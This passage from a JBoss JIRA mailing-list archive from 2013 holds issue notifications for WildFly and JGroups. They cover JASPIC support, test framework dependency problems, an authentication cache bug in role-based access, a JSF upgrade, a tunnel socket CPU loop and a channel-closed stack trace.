> clock.advanceTime(1, TimeUnit.MINUTES );
> ksession.fireAllRules();
> Result:
> A500: Rule is fired, count = 2 *********
> A500: Rule is fired, count = 3 *********
> A500: Rule is fired, count = 0 *********

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 08:34:03 2013
From: jira-events at lists.jboss.org (arjan tijms (JIRA))
Date: Wed, 11 Sep 2013 08:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-531) JSR-196 JASPIC 1.1 Support
In-Reply-To: <JIRA.12488516.1364997991000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488516.1364997991000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488516.1364997991000.20381.1378902843574@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-531?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803476#comment-12803476 ] 

arjan tijms commented on WFLY-531:
----------------------------------

Stefan, good to hear that you've started :)

I've created a series of tests (Arquillian/Maven based) that test various aspects of JASPIC. See https://github.com/arjantijms/jaspic-capabilities-test and arjan-tijms.blogspot.com/2013/08/testing-jaspic-implementations-using.html

GlassFish 4 passes nearly everything (only request wrapping doesn't work there due to a small bug), but on JBoss EAP 6.1 (via WebJASPIAuthenticator) there are a quite a number of cases that don't pass.

Maybe these tests can be of help to you.
                
> JSR-196 JASPIC 1.1 Support
> --------------------------
>
>                 Key: WFLY-531
>                 URL: https://issues.jboss.org/browse/WFLY-531
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Security
>            Reporter: David Lloyd
>            Assignee: Stefan Guilhen
>             Fix For: 8.0.0.Beta1
>
>
> Provide support for the 1.1 maintenance release of JASPIC.
> http://jcp.org/aboutJava/communityprocess/maintenance/jsr196/196ChangeLog.html

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 09:01:07 2013
From: jira-events at lists.jboss.org (Paul Ferraro (JIRA))
Date: Wed, 11 Sep 2013 09:01:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2048) Subsystem testing framework
 does not handle dependencies of old subsystem versions correctly.
In-Reply-To: <JIRA.12500500.1378904407544@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500500.1378904407544@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500500.1378904407544.20496.1378904467555@jira02.app.mwc.hst.phx2.redhat.com>

Paul Ferraro created WFLY-2048:
----------------------------------

             Summary: Subsystem testing framework does not handle dependencies of old subsystem versions correctly.
                 Key: WFLY-2048
                 URL: https://issues.jboss.org/browse/WFLY-2048
             Project: WildFly
          Issue Type: Bug
          Components: Test Suite
    Affects Versions: 8.0.0.Alpha4
            Reporter: Paul Ferraro
            Assignee: Kabir Khan


When upgrading to Infinispan 6.0, I had to @Ignore the following test:
org.jboss.as.clustering.infinispan.subsystem.InfinispanSubsystemTransformerTestCase

The subsystem test framework attempt to run old versions of the infinispan subsystem against the dependencies of the current subsystem version.

On another note - I find this framework very cumbersome to debug when things go wrong since there is no output from starting the server.  So, all I know is it failed, without any indication why.  In my case, I add debug logging to the add operation handler and find that the add operation handlers throw NoClassDefFoundErrors and NoSuchMethodErrors, due to the framework attempting to use the 7.2 and 7.1.x versions of the subsystem with the dependencies from 8.0.  In the case of Infinispan 6.0, there are API changes that render it incompatible with the 7.2 and 7.1.x versions of the subsystem.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 09:01:08 2013
From: jira-events at lists.jboss.org (Paul Ferraro (JIRA))
Date: Wed, 11 Sep 2013 09:01:08 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2048) Subsystem testing framework
 uses incorrect subsystem dependencies for old versions
In-Reply-To: <JIRA.12500500.1378904407000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500500.1378904407000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500500.1378904407000.20511.1378904468462@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2048?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Paul Ferraro updated WFLY-2048:
-------------------------------

    Summary: Subsystem testing framework uses incorrect subsystem dependencies for old versions  (was: Subsystem testing framework does not handle dependencies of old subsystem versions correctly.)

    
> Subsystem testing framework uses incorrect subsystem dependencies for old versions
> ----------------------------------------------------------------------------------
>
>                 Key: WFLY-2048
>                 URL: https://issues.jboss.org/browse/WFLY-2048
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Paul Ferraro
>            Assignee: Kabir Khan
>
> When upgrading to Infinispan 6.0, I had to @Ignore the following test:
> org.jboss.as.clustering.infinispan.subsystem.InfinispanSubsystemTransformerTestCase
> The subsystem test framework attempt to run old versions of the infinispan subsystem against the dependencies of the current subsystem version.
> On another note - I find this framework very cumbersome to debug when things go wrong since there is no output from starting the server.  So, all I know is it failed, without any indication why.  In my case, I add debug logging to the add operation handler and find that the add operation handlers throw NoClassDefFoundErrors and NoSuchMethodErrors, due to the framework attempting to use the 7.2 and 7.1.x versions of the subsystem with the dependencies from 8.0.  In the case of Infinispan 6.0, there are API changes that render it incompatible with the 7.2 and 7.1.x versions of the subsystem.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 09:09:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 11 Sep 2013 09:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.20531.1378904943679@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun moved HAL-189 to WFLY-2049:
---------------------------------------

          Project: WildFly  (was: HAL)
              Key: WFLY-2049  (was: HAL-189)
         Workflow: GIT Pull Request workflow   (was: jira)
         Security:     (was: Public)
    Fix Version/s: 8.0.0.Beta1
                       (was: Core 2.0.0.Final)

    
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Heiko Braun
>            Priority: Critical
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 09:09:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 11 Sep 2013 09:09:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.20541.1378904944084@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun reassigned WFLY-2049:
---------------------------------

    Assignee: Darran Lofthouse  (was: Heiko Braun)

    
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Critical
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 09:11:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 11 Sep 2013 09:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.20545.1378905063439@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803488#comment-12803488 ] 

Heiko Braun edited comment on WFLY-2049 at 9/11/13 9:09 AM:
------------------------------------------------------------

confirmed. you can even see the same behaviour when logging into a different browser.
                
      was (Author: heiko.braun):
    confirmed
                  
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Critical
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 09:44:04 2013
From: jira-events at lists.jboss.org (Stan Silvert (JIRA))
Date: Wed, 11 Sep 2013 09:44:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2022) Update JSF based on Mojarra
	2.2.3 final
In-Reply-To: <JIRA.12500243.1378495699000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500243.1378495699000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500243.1378495699000.20786.1378907044242@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2022?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stan Silvert updated WFLY-2022:
-------------------------------

    Git Pull Request:   (was: https://github.com/wildfly/wildfly/pull/4927)

    
> Update JSF based on Mojarra 2.2.3 final
> ---------------------------------------
>
>                 Key: WFLY-2022
>                 URL: https://issues.jboss.org/browse/WFLY-2022
>             Project: WildFly
>          Issue Type: Library Upgrade
>          Components: JSF
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stan Silvert
>             Fix For: 8.0.0.Beta1
>
>
> Update JSF based on Mojarra 2.2.3 Final, published at Sep, 5th.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 10:23:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Wed, 11 Sep 2013 10:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2048) Subsystem testing framework
 uses incorrect subsystem dependencies for old versions
In-Reply-To: <JIRA.12500500.1378904407000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500500.1378904407000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500500.1378904407000.20972.1378909383400@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2048?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar reassigned WFLY-2048:
---------------------------------

    Assignee: Tomaz Cerar  (was: Kabir Khan)

    
> Subsystem testing framework uses incorrect subsystem dependencies for old versions
> ----------------------------------------------------------------------------------
>
>                 Key: WFLY-2048
>                 URL: https://issues.jboss.org/browse/WFLY-2048
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Paul Ferraro
>            Assignee: Tomaz Cerar
>
> When upgrading to Infinispan 6.0, I had to @Ignore the following test:
> org.jboss.as.clustering.infinispan.subsystem.InfinispanSubsystemTransformerTestCase
> The subsystem test framework attempt to run old versions of the infinispan subsystem against the dependencies of the current subsystem version.
> On another note - I find this framework very cumbersome to debug when things go wrong since there is no output from starting the server.  So, all I know is it failed, without any indication why.  In my case, I add debug logging to the add operation handler and find that the add operation handlers throw NoClassDefFoundErrors and NoSuchMethodErrors, due to the framework attempting to use the 7.2 and 7.1.x versions of the subsystem with the dependencies from 8.0.  In the case of Infinispan 6.0, there are API changes that render it incompatible with the 7.2 and 7.1.x versions of the subsystem.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 10:25:03 2013
From: jira-events at lists.jboss.org (Ben Spink (JIRA))
Date: Wed, 11 Sep 2013 10:25:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1691) Tunnel socket can be closed
 allowing for infinite high CPU loop that doesn't realize its closed.
In-Reply-To: <JIRA.12500508.1378909470639@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500508.1378909470639@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500508.1378909470639.20977.1378909503871@jira02.app.mwc.hst.phx2.redhat.com>

Ben Spink created JGRP-1691:
-------------------------------

             Summary: Tunnel socket can be closed allowing for infinite high CPU loop that doesn't realize its closed.
                 Key: JGRP-1691
                 URL: https://issues.jboss.org/browse/JGRP-1691
             Project: JGroups
          Issue Type: Feature Request
    Affects Versions: 3.3.2
         Environment: Win 2k8, all
            Reporter: Ben Spink
            Assignee: Bela Ban
            Priority: Blocker


Socket apparently gets closed after some time...maybe a week or two, and the tunnel doesn't realize tis closed.  Just keeps throwing socket closed exceptions, which are consumed and it checks if the "stub" is closed, tis not, so it loops again, no delay, CPU shoots to 100%.  Server is unusable.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 10:27:03 2013
From: jira-events at lists.jboss.org (Ben Spink (JIRA))
Date: Wed, 11 Sep 2013 10:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1691) Tunnel socket can be closed
 allowing for infinite high CPU loop that doesn't realize its closed.
In-Reply-To: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500508.1378909470000.20982.1378909623319@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1691?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ben Spink updated JGRP-1691:
----------------------------

    Description: 
Socket apparently gets closed after some time...maybe a week or two, and the tunnel doesn't realize tis closed.  Just keeps throwing socket closed exceptions, which are consumed and it checks if the "stub" is closed, tis not, so it loops again, no delay, CPU shoots to 100%.  Server is unusable.

Tunnel.java line 246, 247, 248.  Needs to catch a socket closed exception and break, not loop.

  was:Socket apparently gets closed after some time...maybe a week or two, and the tunnel doesn't realize tis closed.  Just keeps throwing socket closed exceptions, which are consumed and it checks if the "stub" is closed, tis not, so it loops again, no delay, CPU shoots to 100%.  Server is unusable.


    
> Tunnel socket can be closed allowing for infinite high CPU loop that doesn't realize its closed.
> ------------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1691
>                 URL: https://issues.jboss.org/browse/JGRP-1691
>             Project: JGroups
>          Issue Type: Feature Request
>    Affects Versions: 3.3.2
>         Environment: Win 2k8, all
>            Reporter: Ben Spink
>            Assignee: Bela Ban
>            Priority: Blocker
>              Labels: socket, tunnel
>   Original Estimate: 1 hour
>  Remaining Estimate: 1 hour
>
> Socket apparently gets closed after some time...maybe a week or two, and the tunnel doesn't realize tis closed.  Just keeps throwing socket closed exceptions, which are consumed and it checks if the "stub" is closed, tis not, so it loops again, no delay, CPU shoots to 100%.  Server is unusable.
> Tunnel.java line 246, 247, 248.  Needs to catch a socket closed exception and break, not loop.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 10:29:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 11 Sep 2013 10:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1691) Tunnel socket can be closed
 allowing for infinite high CPU loop that doesn't realize its closed.
In-Reply-To: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500508.1378909470000.20985.1378909743343@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1691?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1691:
---------------------------

    Fix Version/s: 3.3.6
                   3.4

    
> Tunnel socket can be closed allowing for infinite high CPU loop that doesn't realize its closed.
> ------------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1691
>                 URL: https://issues.jboss.org/browse/JGRP-1691
>             Project: JGroups
>          Issue Type: Feature Request
>    Affects Versions: 3.3.2
>         Environment: Win 2k8, all
>            Reporter: Ben Spink
>            Assignee: Bela Ban
>            Priority: Blocker
>              Labels: socket, tunnel
>             Fix For: 3.3.6, 3.4
>
>   Original Estimate: 1 hour
>  Remaining Estimate: 1 hour
>
> Socket apparently gets closed after some time...maybe a week or two, and the tunnel doesn't realize tis closed.  Just keeps throwing socket closed exceptions, which are consumed and it checks if the "stub" is closed, tis not, so it loops again, no delay, CPU shoots to 100%.  Server is unusable.
> Tunnel.java line 246, 247, 248.  Needs to catch a socket closed exception and break, not loop.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 10:31:03 2013
From: jira-events at lists.jboss.org (Ben Spink (JIRA))
Date: Wed, 11 Sep 2013 10:31:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1691) Tunnel socket can be closed
 allowing for infinite high CPU loop that doesn't realize its closed.
In-Reply-To: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500508.1378909470000.20988.1378909863750@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1691?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803524#comment-12803524 ] 

Ben Spink commented on JGRP-1691:
---------------------------------

Stack trace of where it was at:
GossipData.readFrom(DataInput) line: 118
TUNNEL$StubReceiver.run() line: 224
Thread.run() line: 724

                
> Tunnel socket can be closed allowing for infinite high CPU loop that doesn't realize its closed.
> ------------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1691
>                 URL: https://issues.jboss.org/browse/JGRP-1691
>             Project: JGroups
>          Issue Type: Feature Request
>    Affects Versions: 3.3.2
>         Environment: Win 2k8, all
>            Reporter: Ben Spink
>            Assignee: Bela Ban
>            Priority: Blocker
>              Labels: socket, tunnel
>             Fix For: 3.3.6, 3.4
>
>   Original Estimate: 1 hour
>  Remaining Estimate: 1 hour
>
> Socket apparently gets closed after some time...maybe a week or two, and the tunnel doesn't realize tis closed.  Just keeps throwing socket closed exceptions, which are consumed and it checks if the "stub" is closed, tis not, so it loops again, no delay, CPU shoots to 100%.  Server is unusable.
> Tunnel.java line 246, 247, 248.  Needs to catch a socket closed exception and break, not loop.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 10:33:03 2013
From: jira-events at lists.jboss.org (Ben Spink (JIRA))
Date: Wed, 11 Sep 2013 10:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1691) Tunnel socket can be closed
 allowing for infinite high CPU loop that doesn't realize its closed.
In-Reply-To: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500508.1378909470000.20992.1378909983351@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1691?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803524#comment-12803524 ] 

Ben Spink edited comment on JGRP-1691 at 9/11/13 10:31 AM:
-----------------------------------------------------------

Stack trace of where it was at:
GossipData.readFrom(DataInput) line: 118
TUNNEL$StubReceiver.run() line: 224
Thread.run() line: 724

This threw the exception which jumped down to the handling of the exception which just consumed it and did it again.
                
      was (Author: spinkb):
    Stack trace of where it was at:
GossipData.readFrom(DataInput) line: 118
TUNNEL$StubReceiver.run() line: 224
Thread.run() line: 724

                  
> Tunnel socket can be closed allowing for infinite high CPU loop that doesn't realize its closed.
> ------------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1691
>                 URL: https://issues.jboss.org/browse/JGRP-1691
>             Project: JGroups
>          Issue Type: Feature Request
>    Affects Versions: 3.3.2
>         Environment: Win 2k8, all
>            Reporter: Ben Spink
>            Assignee: Bela Ban
>            Priority: Blocker
>              Labels: socket, tunnel
>             Fix For: 3.3.6, 3.4
>
>   Original Estimate: 1 hour
>  Remaining Estimate: 1 hour
>
> Socket apparently gets closed after some time...maybe a week or two, and the tunnel doesn't realize tis closed.  Just keeps throwing socket closed exceptions, which are consumed and it checks if the "stub" is closed, tis not, so it loops again, no delay, CPU shoots to 100%.  Server is unusable.
> Tunnel.java line 246, 247, 248.  Needs to catch a socket closed exception and break, not loop.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 10:57:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 11 Sep 2013 10:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1691) Tunnel socket can be closed
 allowing for infinite high CPU loop that doesn't realize its closed.
In-Reply-To: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500508.1378909470000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500508.1378909470000.21115.1378911423342@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1691?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1691:
---------------------------

    Git Pull Request: https://github.com/belaban/JGroups/pull/105

    
> Tunnel socket can be closed allowing for infinite high CPU loop that doesn't realize its closed.
> ------------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1691
>                 URL: https://issues.jboss.org/browse/JGRP-1691
>             Project: JGroups
>          Issue Type: Feature Request
>    Affects Versions: 3.3.2
>         Environment: Win 2k8, all
>            Reporter: Ben Spink
>            Assignee: Bela Ban
>            Priority: Blocker
>              Labels: socket, tunnel
>             Fix For: 3.3.6, 3.4
>
>   Original Estimate: 1 hour
>  Remaining Estimate: 1 hour
>
> Socket apparently gets closed after some time...maybe a week or two, and the tunnel doesn't realize tis closed.  Just keeps throwing socket closed exceptions, which are consumed and it checks if the "stub" is closed, tis not, so it loops again, no delay, CPU shoots to 100%.  Server is unusable.
> Tunnel.java line 246, 247, 248.  Needs to catch a socket closed exception and break, not loop.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 11:34:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 11:34:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-164) java.io.IOException Channel
 closed exception after several reload of server
In-Reply-To: <JIRA.12473197.1346156423000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12473197.1346156423000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12473197.1346156423000.21373.1378913644769@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-164?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803572#comment-12803572 ] 

RH Bugzilla Integration commented on WFLY-164:
----------------------------------------------

Emanuel Muckenhuber <emuckenh at redhat.com> changed the Status of [bug 1006246|https://bugzilla.redhat.com/show_bug.cgi?id=1006246] from NEW to ASSIGNED
                
> java.io.IOException Channel closed exception after several reload of server
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-164
>                 URL: https://issues.jboss.org/browse/WFLY-164
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Ond?ej Chaloupka
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Alpha1
>
>
> Small testing program:
> https://github.com/ochaloup/jboss-dmr-test/blob/master/src/main/java/ochaloup/ClientReload.java
> When I run it first time then everything is fine and reload is done and info from server is shown. 
> When I left the server run and execute my program several more times (3 or more) then it's starting to crash with exception
> {code}
> java.lang.reflect.InvocationTargetException
>         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
>         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
>         at java.lang.reflect.Method.invoke(Method.java:597)
>         at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
>         at java.lang.Thread.run(Thread.java:662)
> Caused by: java.io.IOException: java.util.concurrent.ExecutionException: Operation failed
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:129)
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.execute(AbstractModelControllerClient.java:71)
>         at ochaloup.ClientReload.main(ClientReload.java:19)
>         ... 6 more
> Caused by: java.util.concurrent.ExecutionException: Operation failed
>         at org.jboss.threads.AsyncFutureTask.operationFailed(AsyncFutureTask.java:74)
>         at org.jboss.threads.AsyncFutureTask.get(AsyncFutureTask.java:268)
>         at org.jboss.as.controller.client.impl.AbstractDelegatingAsyncFuture.get(AbstractDelegatingAsyncFuture.java:100)
>         at org.jboss.as.controller.client.impl.AbstractModelControllerClient.executeForResult(AbstractModelControllerClient.java:127)
>         ... 8 more
> Caused by: java.io.IOException: Channel closed
>         at org.jboss.as.protocol.mgmt.AbstractMessageHandler.handleChannelClosed(AbstractMessageHandler.java:354)
>         at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:135)
>         at org.jboss.as.controller.client.impl.RemotingModelControllerClient$2.handleClose(RemotingModelControllerClient.java:132)
>         at org.jboss.as.protocol.mgmt.ManagementClientChannelStrategy$Establishing$3.handleClose(ManagementClientChannelStrategy.java:189)
>         at org.jboss.as.protocol.mgmt.ManagementClientChannelStrategy$Establishing$3.handleClose(ManagementClientChannelStrategy.java:180)
>         at org.jboss.remoting3.spi.SpiUtils.safeHandleClose(SpiUtils.java:54)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable$CloseHandlerTask.run(AbstractHandleableCloseable.java:501)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.runCloseTask(AbstractHandleableCloseable.java:406)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeComplete(AbstractHandleableCloseable.java:277)
>         at org.jboss.remoting3.remote.RemoteConnectionChannel.closeAction(RemoteConnectionChannel.java:517)
>         at org.jboss.remoting3.spi.AbstractHandleableCloseable.closeAsync(AbstractHandleableCloseable.java:359)
>         at org.jboss.remoting3.remote.RemoteConnectionHandler.closeAllChannels(RemoteConnectionHandler.java:382)
